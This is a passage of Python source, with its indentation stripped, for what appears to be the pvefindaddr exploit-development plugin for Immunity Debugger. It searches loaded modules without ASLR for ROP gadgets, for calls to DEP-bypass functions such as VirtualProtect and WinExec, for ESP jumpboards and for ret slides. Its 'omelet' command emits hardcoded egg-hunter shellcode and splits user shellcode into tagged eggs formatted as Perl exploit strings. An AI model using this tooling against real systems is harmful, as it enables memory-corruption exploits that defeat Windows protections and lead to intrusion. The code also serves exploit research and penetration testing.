imm.log(" Number of good gadgets (before filtering on null bytes, if required): %d" % (goodgadgets))
imm.updateLog()
#write remaining entries only if deep mode is enable
if dodeep==1:
tofile("\nDumping possibly interesting gadgets to " + filename,progressfile)
tofile(" ",filename)
tofile("-" * 80,filename)
tofile(" ROP gadgets - Possible interesting gadgets...",filename)
tofile("-" * 80,filename)
cis=cinstructs0.split('\n')
for cielem in cis:
tofile(cielem,filename)
tofile(" ",filename)
tofile("-" * 80,filename)
tofile(" ROP gadgets - With Jumps/Calls/... to possibly interesting functions...",filename)
tofile("-" * 80,filename)
cis=cinstructs2.split('\n')
for cielem in cis:
tofile(cielem,filename)
tofile(" ",filename)
tofile("-" * 80,filename)
tofile(" ROP gadgets - With Jumps/Calls/... (may be interesting, may be showstoppers !)",filename)
tofile("-" * 80,filename)
cis=cinstructs.split('\n')
for cielem in cis:
tofile(cielem,filename)
imm.log("After filtering and mutating, %d 'good' gadgets were left over" % (nrgood))
imm.updateLog()
thistimestamp=datetime.datetime.now().strftime("%a %Y/%m/%d %I:%M:%S %p")
tofile("\nROP Gadget creating process complete at " + thistimestamp,progressfile)
tofile(str(nrgood)+" gadgets created.",progressfile)
return "Search complete, %d gadgets generated, check %s" % (nrgood,filename)
if args[0] == "ropcall":
imm.log("------------------------------------------------")
imm.log("Searching for interesting calls to ROP bypass")
imm.log("functions in loaded modules")
imm.log("------------------------------------------------")
filename="ropcall.txt"
resetfile(filename)
writemodinfo(filename)
extrafilter=" "
searchcall=[]
mbase=0
searchcall.append("WinExec")
searchcall.append("VirtualProtect")
searchcall.append("VirtualAlloc")
searchcall.append("SetProcessDEPPolicy")
searchcall.append("HeapCreate")
searchcall.append("SetInformationProcess")
searchcall.append("WriteProcessMemory")
searchcall.append("memcpy")
searchcall.append("memmove")
searchcall.append("strncpy")
searchcall.append("wsa")
aslrfilt="ASLR: ** NO"
fixupfilt="FIXUP: ** NO"
isfixup=0
if len(g_modules)==0:
moduleinfo()
imm.updateLog()
#get correct module name
isaslr=0
mfound=0
if modulefilter <> "":
for mname in g_modules:
mnamentry=mname.split('\t')
if mnamentry[0].lower().startswith(modulefilter.lower()):
mfound=1
modulefilter=mnamentry[0].lower()
mbase=int(mnamentry[2])
isaslr=int(mnamentry[6])
isfixup=int(mnamentry[8])
if modulefilter <> "" and mbase > 0:
imm.log("[+] Module filter set to '%s', at baseaddress 0x%s" % (modulefilter,tohex(mbase)))
tofile(" [+] Module filter set to '" + modulefilter+"'",filename)
aslrfilt=" "
fixupfilt=" "
if isaslr==1:
imm.log(" ! Module is aslr aware - you'd better start looking for memory leaks now :-)")
tofile(" [+] Warning : module is ASLR enabled !",filename)
else:
imm.log(" Module is not aslr aware")
else:
imm.log("[+] No module filter set ")
imm.updateLog()
#start searching for calls
addys=[]
imm.log("Finding CALL instructions...")
imm.updateLog()
calltypes=[]
calltypes.append("\xff\x15")
totalcalls=0
for calltype in calltypes:
addys+=imm.search(calltype)
totalcalls=totalcalls+len(addys)
imm.log("Total number of calls found (in all modules) : %d" % len(addys))
imm.log("Filtering calls... please wait")
imm.updateLog()
for callentry in addys:
callproceed=0
module = imm.findModule(callentry)
if not module:
module = "none"
else:
module = module[0].lower()
modaslr=getmoduleprop(module,"aslr")
modfixup=getmoduleprop(module,"fixup")
if (nonull==0) or (nonull==1 and addressspec(tohex(callentry)).upper().find("NULL BYTE") == -1):
if modaslr=="0" and modfixup=="0":
if modulefilter <> "":
if module.lower().find(modulefilter.lower()) > -1:
callproceed=1
else:
callproceed=1
if callproceed==1 and addressinfo(callentry).find("EXECUTE") > -1:
hexaddr=tohex(callentry)
op = imm.Disasm( callentry )
opstring=op.getDisasm()
for callfunc in searchcall:
if opstring.lower().find(callfunc.lower().lstrip().rstrip()) > -1:
tofile("["+module+"] 0x" + tohex(callentry)+" : " + opstring+" | ",filename,callentry)
nrfound+=1
imm.log("Search complete, %d possibly interesting calls found" % nrfound)
return "Search complete, %d possibly interesting calls found" % nrfound
if args[0] == "jrop":
imm.log("--------------------------------------------------------------")
imm.log("Search for jumpboards to ROP chain at ESP ")
imm.log("Searching in non aslr modules... please wait")
imm.log("--------------------------------------------------------------")
filename="jrop.txt"
resetfile(filename)
writemodinfo(filename)
opcodej=[]
opcodej.append("call dword [esp]")
opcodej.append("call dword [esp+0x04]")
opcodej.append("call dword [esp+0x08]")
opcodej.append("call dword [esp+0x0c]")
opcodej.append("pop eax\njmp eax")
opcodej.append("pop eax\ncall eax")
opcodej.append("pop ebx\njmp ebx")
opcodej.append("pop ebx\ncall ebx")
opcodej.append("pop ecx\njmp ecx")
opcodej.append("pop ecx\ncall ecx")
opcodej.append("pop edx\njmp ecx")
opcodej.append("pop edx\ncall edx")
opcodej.append("pop esi\njmp esi")
opcodej.append("pop esi\ncall esi")
opcodej.append("pop edi\njmp edi")
opcodej.append("pop edi\ncall edi")
opcodej.append("pop ebp\njmp ebp")
opcodej.append("pop ebp\ncall ebp")
allregs=["eax","ebx","ecx","edx","esi","edi","ebp"]
for reg in allregs:
opcodej.append("lea "+reg+",[esp]\njmp "+reg)
opcodej.append("lea "+reg+",[esp]\ncall "+reg)
for reg2 in allregs:
opcodej.append("pop "+reg+"\nxchg "+reg+","+reg2+"\njmp "+reg2)
opcodej.append("pop "+reg+"\nxchg "+reg+","+reg2+"\ncall "+reg2)
opcodej.append("pop "+reg+"\nxchg "+reg2+","+reg+"\njmp "+reg2)
if len(g_modules)==0:
moduleinfo()
mbase=0
if modulefilter <> "":
for mname in g_modules:
mnamentry=mname.split('\t')
if mnamentry[0].lower().startswith(modulefilter.lower()):
modulefilter=mnamentry[0].lower()
mbase=int(mnamentry[2])
imm.log("Module filter active : %s (baseaddress 0x%s)" % (modulefilter,tohex(mbase)))
nrfound=0
for op in opcodej:
imm.log("Searching for %s " % op)
addys=[]
addys=imm.search(imm.assemble(op))
imm.log(" Pointers found : %d " % len(addys))
for ad1 in addys:
modproceed=0
module = imm.findModule(ad1)
if not module:
module = "none"
else:
module = module[0].lower()
modaslr=getmoduleprop(module,"aslr")
modfixup=getmoduleprop(module,"fixup")
if (noos==0) or (noos==1 and isosmodule(module)==0):
aspec=addressspec(tohex(ad1)).upper()
if (nonull==0) or (nonull==1 and aspec.find("NULL") == -1):
if modaslr=="0" and modfixup=="0":
if modulefilter <> "":
if module.lower().find(modulefilter.lower()) > -1:
modproceed=1
else:
modproceed=1
if modproceed==1 and addressinfo(ad1).find("EXECUTE") > -1:
hexaddr=tohex(ad1)
tofile("["+module+"] 0x" + tohex(ad1)+" : " + op+" | ",filename,ad1)
nrfound+=1
imm.updateLog()
imm.log("Search complete, found %d usable addresses" % nrfound)
imm.log("Output written to "+filename)
return "Search complete, %d pointers found" % nrfound
if args[0] == "modules":
writemodinfo("")
if args[0] == "functions":
imm.log("--------------------------------------------------------------")
imm.log("Listing all functions in loaded modules")
imm.log("--------------------------------------------------------------")
filename="functions.txt"
resetfile(filename)
writemodinfo(filename)
tofile("Function pointers :",filename)
tofile("-------------------",filename)
allowos=0
dohook=0
modname=""
if len(args) > 1:
starg=1
while starg < len(args):
if (args[starg].upper() == "ALL"):
allowos=1
if (args[starg].upper() == "BP"):
dohook=1
starg=starg+1
if (allowos==0):
imm.log(" [+] Not showing functions from dll's in windows folder")
else:
imm.log(" [+] Showing functions from all loaded modules")
if (dohook==0):
imm.log(" [+] No going to set breakpoints")
else:
imm.log(" [+] Enabling breakpoints on all functions")
if len(g_modules)==0:
moduleinfo()
if modulefilter <> "":
imm.log(" [+] Only showing functions from module %s" % modulefilter)
imm.updateLog()
nrfuncs=0
calltypes=[]
fprol=[]
addys=[]
foundfuncs=[]
imm.updateLog()
for mname in g_modules:
mnamentry=mname.split('\t')
modname=mnamentry[0].lower()
mbase=int(mnamentry[2])
mloc=mnamentry[1]
dosearch=1
if allowos==0 and isosmodule(modname) == 1:
dosearch=0
if modulefilter <> "" and modname.lower().find(modulefilter.lower()) == -1:
dosearch=0
imm.updateLog()
if dosearch==1:
allfunctions = imm.getAllFunctions(mbase)
imm.log("Number of functions found in %s : %d (pass 1)" % (modname,len(allfunctions)))
for func in allfunctions:
thisfunction=imm.getFunction(func)
funcaddress=thisfunction.getStart()
funcname=thisfunction.getName()
if funcaddress > 0:
try:
itemf = foundfuncs.index(funcaddress)
#imm.log("Skipping duplicate pointer %s (index %d)" % (tohex(funcaddress),itemf))
except ValueError:
funcend=getRet(imm,funcaddress)
if funcend > 0:
imm.log(" * Adding new function at 0x%s (RET at 0x%s) to list" % (tohex(funcaddress),tohex(funcend)))
foundfuncs.append(str(funcaddress)+" "+str(funcend))
nrfuncs=nrfuncs+1
else:
imm.log(" * Could not find end of function at 0x%s - pointer skipped" % tohex(funcaddress))
#also look for function prologues in this module
prologue="PUSH EBP\n MOV EBP,ESP\n"
thissearch=prologue.decode('string_escape')
addys=imm.searchCommandsOnModule(mbase,thissearch)
#get function begin for each of those addys
for prol in addys:
#funcbegin=imm.getFunctionBegin(prol[0])
#if funcbegin==0:
funcbegin=prol[0]
try:
itemf = foundfuncs.index(funcbegin)
#imm.log("Skipping duplicate pointer %s (index %d)" % (tohex(funcbegin),itemf))
except ValueError:
funcend=getRet(imm,funcbegin)
if funcend > 0:
imm.log(" * Adding new function at 0x%s (RET at 0x%s) to list" % (tohex(funcbegin),tohex(funcend)))
foundfuncs.append(str(funcbegin)+" "+str(funcend))
nrfuncs=nrfuncs+1
else:
imm.log(" * Could not find end of function at 0x%s - pointer skipped" % tohex(funcbegin))
imm.log("Number of prologues found in %s : %d (pass 2)" % (modname,len(addys)))
#finally look for calls into either the executable or non OS modules
calls="CALL offset"
nrcall=0
addys=imm.searchCommandsOnModule(mbase,calls)
for thiscall in addys:
op = imm.Disasm( thiscall[0] )
opstring=op.getDisasm()
#filter out OS calls
if opstring.upper().find("<") == -1:
if opstring.upper().find(".") > -1:
addressparts=opstring.split('.')
try:
targetfunc=addresstoint(addressparts[len(addressparts)-1])
#filter more OS calls
if isosmodule(addressparts[0])==0:
try:
itemf = foundfuncs.index(targetfunc)
#imm.log(" Skipping duplicate pointer %s (index %d)" % (tohex(targetfunc),itemf))
except ValueError:
addptr=1
if (allowos==0):
ainfo=addressinfo(targetfunc)
if isosmodule(ainfo)==0:
addptr=0
if addptr==1:
funcend=getRet(imm,targetfunc)
if funcend > 0:
imm.log(" * Adding new function at 0x%s (RET at 0x%s) to list" % (tohex(targetfunc),tohex(funcend)))
foundfuncs.append(str(targetfunc)+" "+str(funcend))
nrfuncs=nrfuncs+1
else:
imm.log(" * Could not find end of function at 0x%s - pointer skipped" % tohex(targetfunc))
nrcall=nrcall+1
except:
pass
imm.log("Number of functions found in %s : %d (pass 3)" % (modname,nrcall))
imm.log("Total number of unique functions found : %d" % len(foundfuncs))
imm.log("Dumping function pointers to file")
imm.updateLog()
for thisptr in foundfuncs:
tptr=str(thisptr).split(' ')
fsize=int(tptr[1])-int(tptr[0])
tofile("sub_"+tohex(int(tptr[0]))+" .text "+tohex(int(tptr[0]))+" "+tohex(fsize),filename,int(tptr[0]))
if (dohook==1):
imm.setBreakpoint(int(tptr[0],16))
imm.log("Done.")
imm.updateLog()
return "%i functions found." % len(foundfuncs)
if args[0] == "omelet":
shellcodefile=""
filename="omelet.txt"
egg_size=123
egg_tag="303077"
if len(args) > 1:
cnt=1
while cnt < len(args):
if args[cnt]=='-f':
if cnt < (len(args)-1):
shellcodefile=args[cnt+1]
if args[cnt]=='-s':
if cnt < (len(args)-1):
egg_size=args[cnt+1]
if args[cnt]=='-t':
if cnt < (len(args)-1):
egg_tag=args[cnt+1]
cnt=cnt+1
#egg tag should be 6 chars
if len(egg_tag) != 6:
imm.log("Tag should be 6 characters !",highlight=1)
return "Error - check input"
#egg size
if IsNumber(egg_size):
if int(egg_size) <= 1 or int(egg_size) > 123:
imm.log("Invalid egg block size value. Value must be > 0 and <= 123")
return "Error - check input"
else:
imm.log("Maximum egg block size value is not a number")
return "Error - check input"
#filename
if os.path.isfile(shellcodefile):
resetfile(filename)
imm.log("Reading file %s..." % shellcodefile)
srcdata=[]
srcfile = open(shellcodefile,"rb")
content = srcfile.readlines()
srcfile.close()
for eachLine in content:
srcdata += eachLine
imm.log("[+] Read %d bytes from file" % len(srcdata))
#calculate number of eggs
egg_size=int(egg_size)
nr_eggs=len(srcdata) / egg_size
delta=nr_eggs * egg_size
if delta < len(srcdata):
nr_eggs=nr_eggs+1
imm.log("[+] Number of eggs to be generated : %d" % nr_eggs)
#first, create the omelet
imm.log("[+] Generating omelet code...")
omelet = "\xeb\x24\x54\x5f\x66\x81\xcf\xff\xff\x89\xfa\x31\xc0\xb0"
omelet += binascii.unhexlify(tohexbyte(nr_eggs))
omelet += "\x31\xf6\x66\xbe"
omelet += binascii.unhexlify(tohexbyte(237-egg_size))
omelet += "\xff\x4f\x46\x66\x81\xfe\xff\xff\x75\xf7\x48\x75\xee\x31\xdb\xb3"
omelet += binascii.unhexlify(tohexbyte(nr_eggs+1) )
omelet += "\xc3\xe8\xd7\xff\xff\xff\xeb\x04\x4a\x4a\x4a\x4a\x42\x52\x6a\x02"
omelet += "\x58\xcd\x2e\x3c\x05\x5a\x74\xf4\xb8\x01"
omelet += binascii.unhexlify(egg_tag)
omelet += "\x01\xd8\x87\xfa"
omelet += "\xaf\x87\xfa\x75\xe2\x89\xd6\x31\xc9\xb1"
omelet += binascii.unhexlify(tohexbyte(egg_size))
omelet += "\xf3\xa4\x4b\x80\xfb\x01\x75\xd4\xe8\xa4\xff\xff\xff\xff\xe7"
imm.log(" Omelet size : %d bytes" % len(omelet))
#write omelet to file
cnt=0
linecnt=0
byteperline=16
hexchar=""
tofile("",filename)
tofile("#corelanc0d3r's eggs-to-omelet hunter",filename)
tofile("#" + str(len(omelet))+" bytes // http://www.corelan.be:8800",filename)
tofile("my $omelet = ",filename)
omeletstring=""
while (cnt < len(omelet)):
if len((hex(ord(omelet[cnt]))).replace('0x',''))==1:
hexchar= hexchar + "\\x" + hex(ord(omelet[cnt])).replace('0x', '0')
else:
hexchar = hexchar + "\\x" + hex(ord(omelet[cnt])).replace('0x', '')
linecnt=linecnt+1
cnt=cnt+1
if linecnt==(byteperline-1) or (cnt == len(omelet)):
if cnt == len(omelet):
tofile("\""+hexchar+"\";",filename)
hexchar=""
else:
if linecnt==(byteperline-1):
tofile("\""+hexchar+ "\" .",filename)
hexchar=""
linecnt=0
#adding nops if necessary
imm.log(" Original shellcode size : %d" % len(srcdata))
nops="A" * ((nr_eggs * egg_size) - len(srcdata))
for nopbyte in nops:
srcdata.append(nopbyte)
shell_size=len(srcdata)
imm.log(" Total shellcode size, %d byte aligned : %d" % (egg_size,shell_size))
imm.log("[+] Generating eggs...")
eggcnt=nr_eggs+2
startcode=0
cnt=0
eggbytes=0
eggsdone=0
source=""
hexchar=""
thisegg=""
while (cnt < shell_size):
while (eggbytes < egg_size) and (cnt < shell_size):
try:
if len((hex(ord(srcdata[cnt]))).replace('0x',''))==1:
hexchar=hex(ord(srcdata[cnt])).replace('0x', '0')
else:
hexchar = hex(ord(srcdata[cnt])).replace('0x', '')
thisegg += srcdata[cnt]
cnt=cnt+1
eggbytes=eggbytes+1
except:
imm.log("Unable to process byte %d " % cnt)
cnt=cnt+1
eggbytes=eggbytes+1
pass
if eggbytes == egg_size:
eggsdone=eggsdone+1
thistag = "\\x"+tohexbyte(eggcnt)+"\\x"+egg_tag[0]+egg_tag[1]+"\\x"+egg_tag[2]+egg_tag[3]+"\\x" + egg_tag[4]+egg_tag[5]
tagbyte=binascii.unhexlify(tohexbyte(eggcnt)+egg_tag)
thisegg = tagbyte + thisegg
imm.log(" - Created egg %d, tag %s, len %d " % (eggsdone,thistag,len(thisegg)))
#write this one to file
tofile("",filename)
tofile("#egg " + str(eggsdone)+" : ",filename)
tofile("my $egg" + str(eggsdone)+" = ",filename)
ecnt=0
linecnt=0
byteperline=16
hexchar=""
while (ecnt < len(thisegg)):
if len((hex(ord(thisegg[ecnt]))).replace('0x',''))==1:
hexchar= hexchar + "\\x" + hex(ord(thisegg[ecnt])).replace('0x', '0')
else:
hexchar = hexchar + "\\x" + hex(ord(thisegg[ecnt])).replace('0x', '')
linecnt=linecnt+1
ecnt=ecnt+1
if linecnt==(byteperline-1) or (ecnt == len(thisegg)):
if ecnt == len(thisegg):
tofile("\""+hexchar+"\";",filename)
hexchar=""
else:
if linecnt==(byteperline-1):
tofile("\""+hexchar+ "\" .",filename)
hexchar=""
linecnt=0
eggcnt=eggcnt-1
eggbytes=0
thisegg=""
imm.log(" [+] Done - check omelet.txt")
else:
imm.log("Could not read shellcode file",highlight=1)
return "Error"
return "Done - check omelet.txt"
if args[0] == "filecompare":
filename="filecompare.txt"
allfiles=[]
rawfilenames=""
refpointer=""
comppointers=0
if len(args) > 1:
cnt=1
paramf=0
while cnt < len(args):
if args[cnt]=='-f' or paramf==1:
#read all filenames
paramf=1
if cnt < (len(args)-1):
rawfilenames=rawfilenames + " " +args[cnt+1].lower()
cnt=cnt+1
rawfilenames=rawfilenames.replace('"',"")
allfiles = rawfilenames.split(',')
imm.log("Number of files to be examined : %d : " % len(allfiles))
#check if file exists
fcnt=0
filesok=0
while fcnt < len(allfiles):
allfiles[fcnt]=allfiles[fcnt].strip()
if os.path.exists(allfiles[fcnt]):
imm.log(" - %s" % allfiles[fcnt])
filesok=filesok+1
else:
imm.log("** %s : Does not exist !" % allfiles[fcnt])
fcnt=fcnt+1
if filesok > 1:
resetfile(filename)
tofile("Source files :",filename)
fcnt=0
while fcnt < len(allfiles):
tofile(" - " + allfiles[fcnt],filename)
fcnt=fcnt+1
tofile("",filename)
tofile("Pointers found :",filename)
tofile("----------------",filename)
imm.log("Reading reference file %s " % allfiles[0])
imm.updateLog()
#open reference file and read all records that contain a pointers
reffile = open(allfiles[0],"rb")
refcontent = reffile.readlines()
reffile.close()
#read all other files into a big array
targetfiles=[]
filecnt=1
imm.log("Reading other files...")
imm.updateLog()
while filecnt < len(allfiles):
imm.log(" %s" % allfiles[filecnt])
imm.updateLog()
targetfiles.append([])
tfile=open(allfiles[filecnt],"rb")
tcontent = tfile.readlines()
tfile.close()
nrlines=0
for myLine in tcontent:
targetfiles[filecnt-1].append(myLine)
nrlines=nrlines+1
filecnt=filecnt+1
totalptr=0
imm.log("Starting compare operation, please wait...")
imm.updateLog()
for thisLine in refcontent:
refpointer=""
pointerfound=1 #pointer is in source file for sure
#is this a pointer line ?
if thisLine.lower().find("at 0x") > -1 or thisLine.lower().find("0x") == 0:
#yes, get pointer
pointerraw=[]
if thisLine.lower().find("at 0x") > -1:
pointerraw=thisLine.split(" at ")
if thisLine.lower().find("0x") == 0:
pointerraw.append("")
pointerraw.append(thisLine)
if len(pointerraw) > 1:
totalptr=totalptr+1
ptrparts=pointerraw[1].split(" ")
refpointer = ptrparts[0].strip().lower()
#try to find pointer in array of files
filecnt=0 #0 is actually the second file
while filecnt < len(allfiles)-1 :
foundinfile=0
for srcLine in targetfiles[filecnt]:
if srcLine.lower().find(refpointer) > -1:
foundinfile=1
pointerfound=pointerfound+foundinfile
filecnt=filecnt+1
#search done
if pointerfound == len(allfiles):
imm.log(" -> Pointer %s found in %d files" % (refpointer,pointerfound))
tofile(refpointer + " :: " + thisLine.replace('\n','').replace('\r',''),filename)
comppointers=comppointers+1
imm.updateLog()
imm.log("Total number of pointers queried : %d" % totalptr)
imm.log("Number of matching pointers found : %d - check filecompare.txt for more info" % comppointers)
return("Operation completed, " + str(comppointers) + " pointers found - check filecompare.txt")
else:
if filesok == 1:
imm.log("** Only one file was found. You need at least 2 files to do a compare")
return("Only one file found. You need at least 2 files to do a compare")
else:
imm.log("** No files could be found, operation aborted")
return("No files could be found, check input")
if (args[0] == "dump"):
dodump(args)
if(args[0] == "retslide"):
filename="retslide.txt"
imm.log("--------------------------")
imm.log(" Searching for ret slides")
imm.log("--------------------------")
imm.updateLog()
resetfile(filename)
if len(g_modules)==0:
moduleinfo()
opcodej=[]
ignorefixup=0
maxretval = 32
cnt=1
while cnt < len(args):
if args[cnt]=='-r':
if cnt < (len(args)-1):
maxretval=int(args[cnt+1])
cnt=cnt+1
opcodej.append("RET")
c1=2
while c1 <= maxretval:
opcodej.append("RET " + tohexbyte(c1)+"\n")
c1=c1+2
imm.updateLog()
nrslides=0
nrgood=0
addys=[]
#get all search results
imm.log(" - Searching memory for slides, please wait...")
scnt=1
opnr=len(opcodej)
for searchcmd in opcodej:
imm.log(" Search sequence %d / %d" % (scnt,opnr))
addys += imm.searchCommands(searchcmd.strip())
scnt=scnt+1
imm.updateLog()
imm.log(" - Total number of ret pointers found in memory: %d " % len(addys))
imm.log(" - Now filtering for pointers that could be used to slide")
for ad1 in addys:
ad1 = ad1[0]
hexaddr = tohex(ad1)
modulename = getmodnamefromptr(ad1)
b1 = hexaddr[0] + hexaddr[1]
b2 = hexaddr[2] + hexaddr[3]
b3 = hexaddr[4] + hexaddr[5]
b4 = hexaddr[6] + hexaddr[7]
if b1 == b2 and b2 == b3 and b3 == b4:
imm.log("Full ret slide pointer found at 0x%s" % hexaddr)
op = imm.Disasm( ad1 )
opstring=op.getDisasm()
tofile("0x" + hexaddr + " : FULL - " + opstring + " [" + modulename+"]",filename,ad1)
imm.updateLog()
nrslides=nrslides+1
nrgood=nrgood+1
else:
if b1==b2 and b2==b3 and addresstoint(b4) >= addresstoint(b3):
imm.log("Close full ret slide pointer found at 0x%s" % hexaddr)
op = imm.Disasm( ad1 )
opstring=op.getDisasm()
tofile("0x" + hexaddr + " : CLOSE - " + opstring + " [" + modulename+"]",filename,ad1)
imm.updateLog()
nrslides=nrslides+1
else:
if b1==b2 and b3==b4:
imm.log("Half ret slide pointer found at 0x%s" % hexaddr)
op = imm.Disasm( ad1 )
opstring=op.getDisasm()
tofile("0x" + hexaddr + " : HALF - " + opstring + " [" + modulename+"]",filename,ad1)
imm.updateLog()
nrslides=nrslides+1
imm.log("Number of slide pointers found : %d (out of which %d are full slides)" % (nrslides,nrgood))
return "Done"